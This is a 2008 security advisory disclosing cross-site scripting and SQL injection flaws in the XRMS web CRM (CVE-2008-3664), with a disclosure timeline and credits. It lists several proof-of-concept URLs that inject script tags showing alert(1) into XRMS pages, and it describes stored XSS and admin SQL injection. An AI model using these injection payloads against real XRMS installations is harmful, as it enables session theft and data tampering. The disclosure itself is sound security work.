xrms-sqlxss.txt

`Multiple Cross Site Scripting (XSS) and SQL injection Vulnerabilities  
in XRMS, CVE-2008-3664   
  
References  
  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3664  
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-3664  
http://xrms.sourceforge.net  
  
Description  
  
XRMS is a web-based application for managing business entities such as  
employees, customers, contacts, activities with those contacts, etc.  
The application is vulnerable to simple Cross Site Scripting, which can  
be used for several isues   
  
Example  
  
Assuming XRMS is installed on http://localhost/xrms/, anybody could  
inject JavaScript with:  
http://localhost/xrms/login.php?target="><script>alert(1);</script>  
http://localhost/xrms/activities/some.php?title="><script>alert(1);</script>  
http://localhost/xrms/companies/some.php?company_name="><script>alert(1);</script>  
http://localhost/xrms/contacts/some.php?last_name="><script>alert(1);</script>  
http://localhost/xrms/campaigns/some.php?campaign_title="><script>alert(1);</script>  
http://localhost/xrms/opportunities/some.php?opportunity_title="><script>alert(1);</script>  
http://localhost/xrms/cases/some.php?case_title="><script>alert(1);</script>  
http://localhost/xrms/files/some.php?file_id="><script>alert(1);</script>  
http://localhost/xrms/reports/custom/mileage.php?starting="><script>alert(1);</script>  
...  
A user could change their real name to <script>alert(1)</script>; will  
be executed when the administrator looks at user list  
A user could edit name/email of any user using SQL injection  
vulnerbility in admin/users/self-2.php  
  
Disclosure Timeline  
  
2008-08-07 Vendor contacted  
2008-09-04 Advisory published  
  
CVE Information  
  
The Common Vulnerabilities and Exposures (CVE) project has assigned the  
name CVE-2008-XXXX to this issue. This is a candidate for inclusion in  
the CVE list (http://cve.mitre.org/), which standardizes names for  
security problems.   
  
Credits and copyright  
  
This vulnerability was discovered by Fabian Fingerle (published with  
help from Hanno Boeck).   
This vulnerability relate to CVE-2008-1129  
It's licensed under the creative commons attribution license.  
  
Fabian Fingerle, 2008-09-04, http://www.fabian-fingerle.de  
  
--   
_GPG_ 3D17 CAC8 1955 1908 65ED 5C51 FDA3 6A09 AB41 AB85  
_chaos events near stuttgart_ www.datensalat.eu  
`